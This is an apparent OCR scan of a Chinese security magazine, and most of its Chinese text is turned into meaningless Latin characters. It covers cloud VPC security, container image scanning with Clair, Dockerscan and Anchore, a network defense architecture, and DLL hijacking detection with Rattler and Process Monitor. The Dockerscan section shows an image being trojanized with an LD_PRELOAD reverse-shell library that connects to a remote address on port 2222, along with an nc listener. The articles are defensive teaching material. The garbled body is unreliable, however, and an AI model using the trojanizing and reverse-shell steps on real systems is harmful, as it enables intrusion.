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Figure 1. Hype Cycle for Cloud Security, 2017
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BW—RE, BAEZHNLSHZEMMEARR, X225 LM
FHZRSERHEBNE LS KB ELRMIDA.

ARERETEXERD

EHABEME zFaRzRSEMFREN, MEAFRE
Er EEBEXARSRERESHNL S TS, BAREFEHE
kRIER? XREALERBN—EE EFRBIRTAEH{ER
Bk I HE X

F 1188 AWS f§ shared responsibility model #1715 B

TUEREPEHBX DT ZRESEHBFNESZ@HOFER
|, WTAWS MERRNRZASNR N, XBETRENERM
Wi, ERE, MRENCEENEMN. ENFEE ENMNE
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NETWORKING TRAFFIC
(FILE SYSTEM AND/OR DATA)
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AVAILABILITY ZONES
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AUTHENTICATION
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b= 5h, VPC R E— Ml ENEH 22 A (Security Group)
HTRP. REEFERERBRE IS, REBIT BRI
1EA9.

NEEMEFEGNBEMRIT EFLBRANES], FHENE
BTROBEMHMERY, BEEARZN T, ZEXBRNTUERS
PEBE R LA, RS FM 28 o DB B & R T
RE. EANRSVSMEBEHE—KME. MAFEHREF
H—1VPC 2— N EMRMERE, MNARMNLSEIEREN

VPC with Public & Private Subnet(s)
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Security
Group

Instance
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NAT Gateway

Network
ACL

Router

Security Group Route

Instance < [Table
{_PRIVATE SN (10.0.2.0/24)

VPC (acloudguruVPC) - 10.0.0.0/16
REGION (us-east-1)

[ 4 AWS SRl M R E
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VPC L@, i VPCZERZRAREN. NEZ LMNRERHRE
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EHPRERE ERTHNED, EREMERERBERL, RIE
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TH WEB Ny fI&TERKMAETL SHESN, REHESK
RMARMEERGE TRENRTT. FRESILSRFRENT
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BIFT L TEE

EIE

BEMBRS ML, BHRUBBE
ZMANTRRTHES TRz kL
RS AEMBERTARNEN L. B
ERRNTZER FHENTEMRRAT
YRXENER BHZE GONEESF
MRk Rk Sz, 0 NeuVector, CoreOSClair,
AquaSecurity, Twistlock, Anchore %%,

BREETHEMEN, NRERLAS
HRE—MEREGIAR— I FERENG
% MAETEERNERERAREFLE
B, BRBRLEERRETARRE.

At LBBREEFTELZLE?

FERFNIMEARD, FARBTRE

thon
kernel pY
java

systemd
sshd

nginx
openssl|

B 1 e gar B L1

REPHIRE. ERBEFTERE KATM
REHIZTT.

ERBERARNER. FHBETRLN
MR TE. BALADNAXIEITIRE

Ops . Ops/Dev Clash i Devs
t +

B, ERBTRAHMEERDARER
REMEFFREE ; BRAEERARTHENE
M+ ERN, FERRNRGZ SRS
HERM.

Ops . Devs

python

kernel l
JEVES

systemd

nginx
sshd
openss|

kernel
systemd
rkt | docker
sshd

python

nginx
openssl|
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MARER, SHEABETETRIHTF
BB, DRI LR T Y
EZMIE

ik, AREEDERSIS IS XX TIE
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BRFRA B NN B F R AR
RBARATBE ARG G TRHEMAR
ARFRERG MR, BNFRARBIN
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systemd
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BRFERITRMELEEAMN. % Ubuntu, Centos XM iz
ANEMAGEE SNEETHILZNTAIE. REFLIE
RN BNNREHERT—ENEF. BEREZRNERER, K
#RAK.

BHREIFLRTERN, HHER—PNEHNREE.

R, HHRBINARWEIREN, REAEFTRERSFIR

Ops Devs

J 4

appA

kernel

systemd
rkt | docker
sshd

appB

appC <

B 5 FaEHEIR

ERTH4, EREBITETA.

EREXML, FZMNEFEANERERTRNZSRE. B
ERFERRRN CVE ki, RENAMEA—LEM, EFH
PERERERTLATE.

Hitk, £HMT— MWK, HIT Docker Hub L FF #1145
HBHRNE TSGR WHEERM Clar #4177 CVEH#igiT. &R
HFFEL, E—BLANRET, RAERANRSE 24% 845
BRENGE 67%. REBRMNEFEMNRERBELEEED, @:
Httpd,Nginx,Mysql Z%,

Image: ghost

Total : 85 vulnerabilities

® Unknown:7 ® Negligible : 33 o Low:12 © Medium:20 ® High:13

00000000000000000000000000000
00000000000000000000000000000
000000000000000000000000000

1c194132

perl 5202:3+debgus - A

© CVE-2011-4116
Link

icu 52.1-8+deb8u6 - A

© CVE-2017-15422
Link

B 7 ARG

BFAVIZ 0 E R E B AT AMFETR?

EFEANIAEGRNR SN, SEGRETOTEN, RFiLEs
PR REREEE I EETHN AR FARINTHERAR.
BgJ Docker R @ TEHRE, MNETHEREPBRNTEM,
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BUE. A~ REEERR. FEEES.
AXFEXRIFGAEFEMZVARMET, IME~DENT
H. REXTRFENCVERESEERERMTERN G EHTHME.

ETRNB=REERERUNGEGHRETR, 255t CVE &
W, BREHRTEMERRGEN.

Clair :

pup Rl ST N

Clair §BIRR2EBN—NEMEMNLEEREHFETARL
HAEZLR RS M, Clair 28 CoreOS frift MR #— KA
BERNZLABIA. Clair ZZE1& 45 4 Detector. Fetcher,
Notifier 1 Webhook, Clair &5 X F&RHETHRALMER, REH
B LIRS CVE RiREE, ARIRREMHEITIRT, HIGEMNE
FHERFFH OS X APP 1y CVE iFiFE.

Clair 2H#51%, BIEREAPISFEM. aXEEEEM
clairctl (—ME=77EMATR) k37 Clair L HIAMAER, Ml T,

TE clairctl WEAGSNE, EAGLSWMERR, #IE7TH#
R—KMAEEDLFM L --help S480 9,
usereclatretls=§ clatretl

Analyze your docker image with Clair, directly from your registry or local images.

Usage:
clairctl [command]

Available Commands:

analyze Analyze Docker image

cluster Scan and analyze all Docker images in cluster

delete Delete Docker image

health Get Health of clairctl and underlying services

pull Pull Docker image to Clair

push Push Docker image to Clair

report Generate Docker Image vulnerabilities report

version Get Versions of Clairctl and underlying services
Flags:

--config string
--log-level string
--no-clean

config file (default is $HOME/clairctl.yml)
log level [Panic,Fatal,Error,Warn,Info,Debug]
Disable the temporary folder cleaning

Use "clairctl [command] --help" for more information about a command.

25

root@CLAIRCTL: /# clairct]l analyze -1 centos
Image: /centos:latest

Unknown: 0
Negligible: 0
Low: O
Medium: O

root@CLAIRCTL: /# clairct] report -1 centos
HTML report at /reports/html/analysis-centos-latest.html

& 8 Clair 74
EEE R Clair 34 # (-1 2%0) & Centos 3177 —XH
W, ARERNZARE, BELEMRKRSE RFLE reports/html/
analysis-centos-latest.heml, Fis 2 +THEI T ZE 1S,

Dockerscan :

Dockerscan 2— 947, WHT AR, B INEML TSGR
CERENEN, TUEERPEARD, TERRTHERES

48

%,

T&|4 Dockerscan & &4, IE—RXF 223.4***210/28 X/

user@dockerscan-host:~/image$ dockerscan
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

Options:
v Verbose output
-d enable debug
-q, --quiet Minimal output

Show the version and exit.
Show this message and exit.

--version
-h, --help

Commands :
image Docker images commands
registry Docker registry actions
scan Search for Open Docker Registries

user@dockerscan-host:~/image$ dockerscan scan 223. xx%xx .210/28
* ] Starting the scanning

[

[ 1 - Total host to analyze: 14

[ *1 - Total port per host to check: 5

[ *1 > Registry: 223. *%%%x .216

L* 1 - 443/TCP - [SSL: Enabled] - [AUTH REQUIRED]
[ 1 > Registry: 223. *%%x ,215

L™ - 443/TCP - [SSL: Enabled] - [AUTH REQUIRED]

9 Dockerscan 317
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'L

IREBHITH—RAIRN AR CERRE, BUERAFRENSNARCE. HBERNginx f, EAPETZEGN, XEERSEREIRELDN
TE%EL mysql_origin SR MEARER, TUEENZERYE  shel, MmAZHIRESH#OEN.

HEA— R shell, #ZIg shell Bt A% 2222, ik 108, TEAERRA, AEA Dockerscan &8, BEAREM

user@dockerscan-host:~/image$ sudo dockerscan image info mysql_origin
[ * ] Starting analyzing docker image...
* ] Selected image: 'mysql_origin'
* 1 Analysis finished. Results
- Environment:
> PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
> GOSU_VERSION=1.7
> MYSQL_MAJOR=5.7
> MYSQL_VERSION=5.7.21-1debian9
> REMOTE_PORT=2222
> REMOTE_ADDR=10 .50 ing
> LD_PRELOAD=, /usr/share/llb/reverse shell.so
- Created date = 2018-03-14T07:47:53.605443279Z
- Entry point:
> docker-entrypoint.sh
- Docker version = 17.06.2-ce
- Exposed ports:
> 3306:
+ tcp
- Cmd = mysqld

[& 10 Dockerscan ZE &K EE

TE A7 Dockerscan W ZEEMRE, ¥AZTHEALEE

Docker might not be your friend - Trojanizing Docker like a Sir

11 Dockescan 5%

user@dockerscan host:~/images s

mysql_o z
user@do(kersczn host:~/images sudo dockerscan image modify trojanize mysql_origin
] Starting analyzing docker image. .
] Selected image: ‘mysql_origin’
* 1 Inage troyanized successful

-1 10W05Mennn8 -p 2222 -0 evil.tar

user@aockerscan host:~/inages ot
evil.tar mysql_origin

[ 12 Dockerscan {3 Fi 7~

EEEN, BEN tmp BRFREARR ~images Bx. BEE
& EH tmp B F T4 5 R R 7 5 X4 (docker save -o filename
FERBPIUFINZEERXME REEAH
dockerscan X5 1%. BADHENZER, EZHIHZE S 108
(REBEEMN), #wHAA 2222, REFH eviltar (FEAKRTH mysql §7
B), BRTEAMY
PSNEAKRDHF K (docker load -i evil tar),

EsPrim OB RN 2 = 58 1 /Y shell,

Rig

™

imagename),

KT 2222 30 (nc v -k -1 2222), REZEEE
FEEETIZEE,

WATR S M.

Anchore :
Clair e H#EH — MR B PMATE CVE /R, BREF MG
M, BEFERARFIREREN OS 5%, Rk FRERIIAD,

e
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HNATER G, X Clair IR EZSMHT.

XN HENZ—P O LA Anchorele, 5 Clair &R[E, Anchore
MEFHEGOFIT, EFERANNREROBITERN. EohzEY
MSTREHTEMIRE, NBTHSHA, BRI Z.

TE X% Anchore i i S B E, ¥R EMAELE A feeds

1d be: ‘anchore feeds

Initialize tk 2m and sync the
‘vulnerabi

y-default subscribed feed

anchore
anchore

f
£
f

or pull nginx:latest anchore analyze --image ng tes -image

rt on all analyzed images

anchore gate

*, no stat
on to stdout.
> te

config_opt

in to t
out of tt

13 Anchore f# &4

list #1 feeds sync kEX RBE. ETREFERRGAGS, #&
BARAZWMNEBT. SHETHERNGLHE, 1L --help 4RI
EIEANA.

XENBNANFEANGTL, query S BIFACERRNESR

5

[}

HITHNRERE ARTRNHAFTERRNS . ETRAR—

MERIR R

14 Anchore query Ifjgg
EIXE, FHA1EE A show-file-diffs 42 5k & Xt bb 78 4 2 &
MEH, EZ8, RMNTEELEDITEA S K mysqlevil 1

origin:origin, X2 /NI T5{E A dockerscan 4 i A9 = S50 R

15 Anchore =4
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» ZZL

AR, BETRBMZIELR,
TET—A K3 shell 89301+,

anchore toolbo
wn repo/tags for_image
e into a_temp location
w f

cratch

ile: 698
1056eda

/ d1fd
d1fd7d86a82s p ry:lat Guess i < d1fd7d86a

17Anchore IhaE =l

£ toolbox B4 HiE1s, BPEA-LERAKNTA, BT

difd7zc

“, BH 2R JL 4 2 show-familytree . show-taghistory, show-

gitdzdaeaszsy| o R G PY | Jeszh layers, show-dockerfile, Sk & $E 1% registry BB B £ R, BRA 5.

FHREMFE R,

INGE

FRESRETEHRRE, HEB Docker Hub LM% 76%

WELERRE, TUBMNERGGRETH RN, —EBNFERHETHHE,

16 Anchore T84 MhReZe .

Dhe
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ZEE, M “BRHEEX

2 “EEEHE"

2

FE: RHEMTURATIEENAR, ERREBEERUANTE. AXERHRNTHE

eI TTEE
SIS,
1. ik
BHEX MBS HEERIEEXMANNE, %—EHE
. RGHILTRIEXIEE, PAEERGEN, R BB
D BEEXEHESS BERATREEX—Y), SRXHBH
BETHREEX RS
AR X N N F AR £HIND, RIEXIRHT
{ — 1 —Fixt F R 8] B
== FREMBE T
[ s ] FELFNERES
- RETEH ERE
( ERHGIERATR } B, EERE
BENLRZHER

B 1 SHEXN=DER
TR RN, ZFEFEFINFERBSHEKMEBY.
M RHEXR—HEE. 2—HEH. %M.

=
=

XMEMBEEE=EELHANE:
BERR NHNERE

I URERMRERE, IEMURTE 2
HIX R

HmRREHIRIE

e
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LSRR R E/.

HR B nttlE

XRHMEXEMEEOERERF T, TERTEIRT
BIEIECHRNE
EEMELLANN AR

ETREAMLESER, SUREMEA, #HnBEdEt R EaN
FMEFEETRINTE, BUANRARITRERS
1.2 B AN 2 — R R R

MEBAIRGRE, SUTHRHEX, S TFEITRENE
R, ALMBHENRR, BREEMNRA. XMERMNAIBRN X
FAAE" 2HEBH.

BAOB zRe, ZHENKERAETEGNZEBRTREY
ZREXY, BTETEEY. EAN. AXE, EFETTEN
BB BEA=NER
(1) Z&R&FERL

ERRERRNEY, AT TENAREML. SHA, #
PGSR, RN REET NREENEEBRAZTHNRE
BT, BAGEMARNIE BER “REET” BHTEML,
BAGHE AR ERE R &L REN.
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» ZkE

N

v AN
v BiER ;
v REREIML v
v SV /IR
v RERERIME ; v B
_ v RSBIRHEE
v TPERENZ
SEANTIRG ; — 7‘

EREDE

REEFith
IREREIME

B 2 ZRERAREE

XHEARMNERS RESETRNZEHER EHEEANE
R TRERMVINERE. BB FH. LNEAFFETHLS
RGHTAREN. web 5ip, MAMBTINRIBEEEZ—5EIML
IDS 1 WAF #1738

MBI ENATR, EXMEREEPONRETRIFER
BARRIER, ATTZIEE R ETMTEM. ZERENEE.
RE. EREAFPAIERE S M REHITRE.

XH, BRMEKNEMETR BRERATE-NRNZZER
RITFR. BALINT N ZREHTELZEHPEM 0 B 1 89872,
(2) ZERRBL REEX)

YR

BEAMINZREINNTERAN, AXTHEHETXMEL
HRHTTR.

¥

MNZRERMHERERE MIEFRIAMEHEARE—ERSE
REEUIN, STaRHRRMNARKE, HNEEEEE.

MAFHNAEXRE, 1) BRI REX. BEREREE
U, HL2EBARERE. REETH BRNTEREELN
ExEENNE BRRSH; 2) REEEREFETERE. —TH
FEGEZLTERE—H, EINEIREEMHTRERIEN
BEE, FBXROM H—TTHE, Z2REXEEENER. RIEERX,
FERBRREFSHBENTN. IBBFERAFELEERNTLAR
A RETE ST AL

MAEXNHER, BTREEXRENZLENRRAEMET.
ZERFAFEEARSNREREENN, MEBRTRERRE
wHTIR, ARFRELIEMNZ SRS,

XE—TENTZREFRERFKE, BT TUEFRE
BHABMNAX:; 5—77E, NTAPKE, RECHTIXERE
RACHTEANBE, XTMNBIRENARTEMERERS
EERA.

OpenStackit 471 st
1 _

ZEEFE/SDN

RSAS WVSS

vSwitch (internal)

Hypervisor (internal) -

El 3 ETRERRMNAERENR
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(3) =ebirEr (BEMmE)

EMB SR E R MR, BZMBRNETREEN R
EMZRENE, ERXMBANREREERELR. BAEHN
EXNBRNEMZ b, SHENFOERERA, sEXREHP
BRAFTEEENT.

XENTRATUERNEANSREHELBARBHTE
YRz ; MR L MRENBUEKE. KIUERNKE
S 5 AT NE A FEHITETE P AE RN R
REESNRNSHIEERESS.

BTk, AGEEERBNA, HEANSEBENA, mEFRER
HIEMEATEENTR, RIS ENTENZREMRATR.

2. ZHEHE

2017 fF “EE” X MAMERAKT, METERNS &I
RREA “BE” T, REATHFREEERI. BEREHINIE
BRARHIIRN ERENEN, RERNERE M
B9fR, AR EERFN, EENKRELBEMEETTF. #X

BB EMA AR TE?

EE—H, SRBNMREEDENzRE, B—ERIMBMA,
IKER AT
21 H AR EREME

PriBEeE, RIBEERERMNMBE, TMUBEDLEA 1LVl

BHRAN, TUUREEMRE, #TEM. £33, 94 FEAK
HAMHNTHUSAEMBR . BLATERDENZENF, £F5F

e

31

HEXA “REMPRSE
BEBRETRU A, FFE
BEPTE TANR £ TR

) . 81/
F oA TE S MR,

Bit/Rm Aikadi Ak
ElsENzEad =3 — SRR o
RS-y

E4aERRERE
Gartner 7£ 2016 F£12H T “BHiEN X4~ (Adaptive Security)

AP IREY, REREETHUN (Predictive). Bifi] (Preventive),
@ (Detective) MR (Retrospective) X —#4eah B L2
PidiE. BENTEEM, BRINEEHER SR N—Thiaiign
RIUTAR, BENONNEREID, ER—MEERARBAEER.

EEMERG, FENBENOTRAT B0 mE.

NG NRIAREREFTEARREN IV FSRGHTERES
WHIEEN, BUEABENNTEELZ, TN FERGEHTREIT
fE AR BTN -

m [ NI — R IR &~ RFRSE,
hale=St =

m S MEE N A FRIMAMLH NHFHNBNHE, WNEEFHTH
IAFIALEE, P RELAME ARSI K

N EENFEEEBNRGRBIHREEERI, SRMHEFH
TEERUE ENERTUNTER, B#REREZEONZ 2.
22 At A—EEZEENE

BAAT AR L ERARBRENE="NR—ELSEENET

RITE S,
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» ==E

BAIMU TEAFERE - S . : e ——
EEMFTERAGNAERE BO—05 50 aiHEHAN REEWE e SRR, 1

INEREE, FHSATNENEERREY 3G £4, RAMIEA g | S

L3R 56-66, BAMREMFANABHTELZ SN, AE B || a5 ||

TRHRe HREBLIE 300G MR BNEXMERT. = ‘ |

BERLLTOMENM—RNAERREATRERN. REREY  zemmers &R

FHEAR TERGHRAR BE—LRMIEA. FRREERIRIE oAk, . amﬁm;gﬁﬁ;

X double ik fTie MEVRE, HPRENBOTEFR
A, FMN—EBRLREMPREA—M ‘B 77k E
IR, MAZETH “BERT LM,

5%.

BXHRR, zRE—E

A MNEBHBEXE BHENREFRTEAK. LH
R APT IMSRFEMMEY, BHEHEEERXNBREZASHI
TRV ESREMNBFRAGHTERNESRE, XMMiTAEE
ZFKHNEESRY, HERESENREE. —BERIATRZ,
BEWLEN R ERANRE.

EXXEM, E—REETANNREHPMEN, £L
BEXTESFLENRMND. BERBEN. NREN. RAE
BENESHFRARREN. XHIH. zRE—ERZZHE
PERAY.

23 ITHSHT

BARER, WAXBEREM AR TERINXDEE

BT

hEIEET

¥

Bl 5 T 4T
(1) £BMENE
EAZERTE MELEENRRETACREMBILE
I, XEMREFRLEFLANFAANTE. BEEEAN
Spine-Leaf ZEBENRE. BN EREHEREEVREINLEAMNE

mE. FEREESBR2UTMNHTRE. KEMITN, IFIM
EFETRERE GG,
BEZEEFEAMELEE, —TTE T MKRE flow EMER,

BT LR

E 6 £ BM% LR (BRRRETEMNEARS)
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EH R H—TTE I UK E packet FHY
FR, BURAFHEGR TAXERZIHR
ST ENHIEE, XNMEEMNEEENER
WHESRA—L, RATESHRE—
PR BRRA.

XFHEWEE]EY flow 1 packet & [ FH
PUEREAMZEERE—R, BEHRTE
BHMERE. BTN 2BWERE, 5
RAGHHAZENMEANEXR2ERHET
TSR,
(2) REERK

REETH, TRRLALERMET,
RPRERUzIN L, TE2E2FMEEN
V& —MEESHLERS, LMW
W DARG. BRERGZEN; Boh—F
REEMTERS. FTEATREGBNEESLS
H. MALEWHLSE, ENHBE—1 HEE
MR, BREZINZENRARRE—
EFERME TN LLmEDSENFR
TRLL SO, XL F Mk A A5 R & P i 2
WL, fh)EBE ST AR BRI

AT U X MR Z h R B E R
HEiT AR, BAMRE—Z,
MEGEANFLERT, BAXF “HE”
HRERRETERFELTEHM.

(3) Btk

IS N-g—X
LHRE

» ZRE
XEMNRGEEMANRIELRER, RBUE ANMNREXE REBANXEMARNE NEEEF ERBEAIIMNAEBNEE.
EhtbBoh, tbani@sd SDN 5% netflow  fEF%, BTRHERG FROBREN, MEK

THREPENROFEFT —EREM ML
BAMBMEMIHEERERNRITERE,
B b ] A & B B Z Bl AT K B4 RS

MEBEGHETILEDN, RUTERE.
(4) Z&HRBL

TEHANRE#MNAEE—T. KEH#
RREREEX BRRFENROTEH® RE
HITMERUSH. BEDMNRBREHET
BB HERENEER, W FRHEFNEg—
B, T RURIER & s /MR B

SREVASE B, [83% FIBTH B DI A0 B
ELANZEERNMEE, TRBET AW FEN
AR, HEEIEMEMBEAIMTEE X

MR R ERIREREMPHEER
R, BEBARIEANFIPFHR, REsSh
TRIBMER. BE. A, RERNETMUR
AR E TR FROFHE, XD
ERFRE M, BIXELHTTIHRANN A

XERBEEA.
ZHERGHELROMENE, %
X HEPHMEESHTREMDT. &&E

QQQ

dellvery /‘/ exploltaﬂon > Inshllallon b c&c actlons
RNz N— —N r#._/

TEHE IRnE TENA BERD EHBF SCHEMIEE
HEEAWET | | BRETALE | NABGRRR| |SRENEER |  Elfig, PATRET R,
8, PEEE| | MERRS, tv) |8, MEKET| | FHRE, $X| | RARNEEE | | HNERSES
RACABRIPAISTE | | A B 1 B £ . BHRNELT. HETLRE | | W, ELERT | | BEHT.
soffice S, webBES. REBHRRGR. | W

B 7 Wi AR

e
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» ZkE

}_\_FHCF%‘F,‘%T\ ﬁﬁjuiﬁi*ﬁrﬁﬁuuiu1§ _Eu&_ﬂ,,ﬂ%um %E
58 6AH, ETNBIEMHNR S RRHITRERENSN.

3. SIERFR
TEHNEMERT T —MEENENZZERITTR.
GFBRZUHEEETS BIREXE BMANRERES
T TR, XERRERTIUE flow a9, thol IR packet

e I T T T

Policy Engine Traffic Collector
< |
Flow Data with Context,
and Traffic Stats
oL L
Ky K

Sec-Controller

devices pool 3 knowledge

[ 8 JTREMAE
RERENFERYARBITLER netflow, SDN sEHtbF =,
FENZRERERD, TRSBEAEHNIITTR.

EFNARETFL, BUREEFTFANERHEML L4
T#THE—EE. REEXIUIEERDRNREE A, Al ZARE
ZFATHRE LEERS B E NPT RAKE, RHEHRIE
LRAN MRS FRRATHIFEN. TRAETSEE 9.

ERs L% (RRTEMEFE) 51, AIEBAITHEEETES
KEFEAMANSEREER ERERNTERR EAEHRE
A%, RELLE IERMRELERGR WTHEREN
AELIR, WIAAZERN.

¥

-
il Defense

Feed-back il
& = @
ES "3 NCss il
Flow Scheduling Policy

] 1 Mirror

: :@ =

) = s

H Re- dlrect
i

REFR

TtETE

E 9 ﬁ%/}IL

NFESEEAHF AR, WBSRHEA ERENNEREH
TR, SHWXBORATERANZEEIL, HIHERTEMLE
SR AR IR .

ZERFBHNPER, TURRE AR, Al EBREX
MNERTWHIBE L HMAOER M. SR, ERIRR
PREFE-ENALSS. Al EARRTEBNRRE. HEMNE
EREBEIRAN SN

ERFTENNENTZREERE
#WFE5|E. BIESSTUXTEEE

pESgabuR

hELHN—ERRT B2
hEME, EHERK—REZEEN.

4. B4

AXMNBEHEXETF, HERERARBEN="MER, F4H
ERT Az —ERLALRNE L, XMHEEDRISTT
IR N sk SCEL .

ZRE, NREEX B CBEHE", BHEH 2oR A
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DLLENFRR B2

BRREMRE JKE

HE: AXNET DLL HiiFmENHRE. FIRFEURBBEE.

Kigia - DLL 3

REHEEEELRAH

T DLL #himiRiZima R 7 i%.

(=) 8I8

DLL#HFFRWEENZEERMNIESE BINVD(REER
CAEES
= “dll hijack” B &7 9 Ui X5 168 & DLL ##%i. HbF=z
Microsoft, Adobe. Cisco &HM&[ FAIERM. =R DLL #%5iRiE
MEERELEY, BUbRRRRFAEE (REXHEXERE), &
MEBELER K. A3 DLL #iFRIANRIE. FAITERTE
FEHATTER, HESEENTHELREET DLL $H#BRZEN
JLHTTE.

A P8 E ) M uh https://nvd.nist.gov/vuln/search,

(=) DLL #h#5IRE. FIAKGE. FbhiEhE

21 R

7 Windows R4, AT HEAFEMIUARBEA, MK
7 Windows B 1ERZEHFL AT —MEZHEHEMNF KX, B DLL

e

35

(Dynamic Link Library), XFESET JhRLNEFRMEHBHK
FOFIEE.

fF) DLL Baeasshix (RNEE) MaisuiE (B2R%) M
M. BREETRX—RATFALIER, FE b SINEMBX
KX, DLLXMEEAER; MEREETNHRHNELHNES
LoadLibrary 5{# LoadLibraryEx % & 53k in#; DLL XiEAEN M

DLL R HHENEFMNHERSHMRBRERG kT, BRIF
RGE—ERANKRDLLEZEMAN, XEMUX D AWM
BEER: ReREEN, F2eRZER. NRERARER
R, o b7 B 5 5 HKEY_LOCAL_MACHINE\System\
CurrentControlSet\Control\SessionManager # & DWORD £ #!

4218 SafeDlISearchMode, #}HIEBEH N 1; ZHE 0, ZoER
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P (Tl

DLLIERERFIRERBIRFHRR N BEFRERR. REEX (B
GetSystemDirectory 3:8). 16 fi&Z:B%. Windows B& (@it
GetWindowsDirectory 3kB0). %4g7E%. PATH SRELTEHHEAN
B%; FReRR DLL B REREIREFINFHRAR S : BFHEER.
HETER. RLHE% (BT GetSystemDirectory 3k81). 16 fi K5t
H . Windows B % (& it GetWindowsDirectory 3£ Bt ). PATH
HFREEETHENEZR,

mATIBHEY DLL £1¥F, R AR GHRR ik DLL R REREZIN
PR RREDLL i, REFEER DLL AN £ FIER DLL friE
BEX, BEEBHBAGMEMIER DLL, KT “#HiE",
22 MAFE

SR TR PP B DLL #h%F

RGEEH DLL MY AREFASMENEFHERARIERN.
H it a1 RAE B — BN DLL X BB FHREER, I MA
A DLL #1#5iRiERAATRIB.

XA ATENAIRREELEBUEERDRRIITRE, BH
NARFRIAIREERBRHFTREEERANRT T UH#TENE
5, AT B—RAT IR,

XTI ATTES W ERRRDAEA, WE BT DLL
HEFTNE—EREERERIINE; MABRTIEXMERATNE
ek gE 2 TRV I
St REFE PR DLL 3%

S KEREY DLL #h#

Windows TREMNN AR FHN KBS ERZBINCEH
KEPXEK, BAPBSRREESITAXKEXENXENSE
MBRESZXBENNARRF, #HENSIERMRRITHAXHME
MEF. MREHZEINLSFERTZHMECEZ DLL, MWLM
DLL #%#.

XHXREBE DLL M AZ A +oEE, RER—NEEN
DLL 5% EXBXHE—RT. B, FE FREHKINZF
Az ETH DLL ##FRiE.

MR FREFRENTHBRINCIE KL, B4 KB R
DLL ##imiE M S AN XTI, RETERAAFICRERN
XHXRET (BAPERBRINTARFASNRBREF).

.

HENARFNREOREFEEEDLL R, XMHRS
YN AR FREBFN DLL #iFtbiRkM, BEEaNERRA7T
HFE, HEMAFGXESHENERT. MBREEFEA BEERER
M TE—MEEN DLL B ER=IATEHE RS, MEAFET
HEFRFNIT THOEFH BT REINEIXA DLL, #ifscill DLL #h#.

FEREENRFLZ LIRS, W Chrome FEZAFAFHRE
T# DLL, X## AT RN LTSRN,

2.3 ZfEENE
ZERRRER

WETR, RERFRABR R RRERXNXAET “Ha18
R WERMBER, & SafeDlISearchMode = &1 5t A
E Gy DLL S XBR BB FS. i, MR#AEZIK A DLL 250
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T “HRBER MWERRFBETHAGE BABRDRESZHEY

BIEFNE XA DLL, X2 SafeDlISearchMode fr TC3EB5SEEY
KnownDLLs
WM AT EHR—SHHEARGN DLL 3+, ¥ — LB 5%

MIFHRG DLL S 7T—AEMRWA, B4R I T DLL
XMW ELLNexe BEEMAEMNBRTRM, MRAERKI (H
1tk 3% it 5% I DLLDirectory 81E1% &) M & % B % system32 T
. FMEREZEDT: HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Session Manager\KnownDLLs, Win
xp sp3 KnownDLLs 71 ~F :

[BEE]

o EMERGE
THEE REEQ BEW BRE re) W

Hfth R R iEE

8 LoadLibrary, LoadLibraryEx Z %5 in#k DLL B, {8
DLL & BREZEASE; ARF AR DLLEER “ARE” + €57

1# 47 DLL 955 ; 18 A SetDlIDirectory & %%, IpPathName % %

e
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A—NZFHFR, LHFTEFM DLL B9 RIN 5 R P MRS,

( = )DLL #hFRmiRENE

S1TEmUIR
Bl DLL #FRAER TRRZFHEREFT WML
ngk/}n.

X Rattler (https://github.com/sensepost/rattler) {5,
BA:
1) BE1#

2) B DLL (ZZ11aE7E DliMain i

> BIE A B AFIFRP A DLL IR RTE exe FREE R,

3) BREI;FNER, #Hig. MR
I, REGFENAREFTEERDLL #FRE, SUARTE. %
B89, Z TR RN X L RFZ2F89 DLL $3FFiE.

I HIFAA DLL 713k, f@B4rd DLL A9 %R,
)

3

R E 632 calc.exe i

&2 BRI B calc.exe i

Rattler iz 17

(FUEERASM) MTHE:

11.0\Reader d: %

N BIES: BSITRA - Rattler_32.exe "Ci\Program Fil

[E=aN x|

¥4l Rattler sx#EpE a1k DLL #1i5 RS H TEFRGELT
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P (Tl

m W —EER HRMEH DLL HFRECS L% ATIAE
HUTAEHRY, SmREFERNEIL.

w XA RECE DLL ) FRIBLEEAN . XHXKERER
BEENME PP TR TRR B KBS, RIEHRITI
e HROTMUEENE B TREEEFFXHFREKE DLL 15
imEEE.

m FEFHSEEN DLL BEAAFHRTHNRENEED
BEFSME, XFMBERAESHUTENTENLE, BRATERIN
DLL #1#5iwiR.

FNEF

3.2 Process Monitor

EREGHEEARMGE B
H o a
Filemon &Mk MR GE P AERI R IETFE. T Regmon
kBN RORSRELRE.

Process Monitor (ProcMon)

1k 3k 3%, Process Monitor 4§ & F Filemon+Regmon,

Bl Process Nonitor Filter
Display entries matching these conditions:

. ]

[Path | [begins with v | then [Include v

Colunn Relation Yalue Aetion 8|

(DrProcess Name is Athuthor. exe Include EJf
I Result is NAXE NOT FOUND Include
Qratn begins vith CiAtest Include
€JProcess Name is Procmon. exe Ezclude
€Jrrocess Name is System Ezclude

Operation  begins with IRP_WJ_ Exclude v

{8 F§ ProcMon 7 )46 DLL ##5RiE, TER BT RS H.
WMER:

m Process Name : &
BiritiE.

m Result:

R BERHEREZF. RE N include #57
S EMERBEERR
RERIMEMB A DLL XHSREXNMER,

HRR BRI S R R ERE. TR B begins with FF
WP HAER NAREFERS. AT XHXEEDLLHFERREZ A,
BERBWTFIAT, ETRULANR E AR X, B DLL FreEfy
HEEX.

B4R, #%F “NAME NOT
FOUND”,

m Path:

m JRO]i@jd Operation is CreateFile Include. Path ends with
HRFHAA-SHEELRER, ERRBEATTRES
ST RERAER (MEMHA DLL FHAIE di).
R B E R0 < BE RS DLL #hisimiBEtonf, Bidnie
LI
) EEEHHFNEG, B T XESEREIIFHXK
XHERE. MILEREMWIESMRB RN CIEANIR B X.
2) izf7 ProcMon FH4k b3 B8 BiF i IR 1
3) MR AR FRINIRT XA EEET
L BN S S RN R AR el B KB T .
4) R ZMNHEARFHIER, BHLERENNIERE

.dll Include %55,

R

X ST R T

38




SECURITY

7sh0# DLL.

5) &%& ProcMon i3 B EMER, TR E DLL H15RE
#I%H, L& DLL &R,

6) BEWITHERAERBR DLLER D 5) %A DLL &%,
BMANKRBKXHRENMIRB R, FIAXKXH, EFESEHITESS
B ERR, BUHIADLL #HEEREFE.

3.3 Dependency Walker

[AtAuthor. exe]

Dependency Walker
BINE KBE0 SEQ U0 MO BEO® ¥BHo BEE
FE o2r o= fe 8aExBEDR

B PSAPL.DLL Al s [#Rn (@ [AOE |

4] PROPSYS.DLL
| TABS

Al WSvCRiz0. L
A uSveRIZ0.DLL
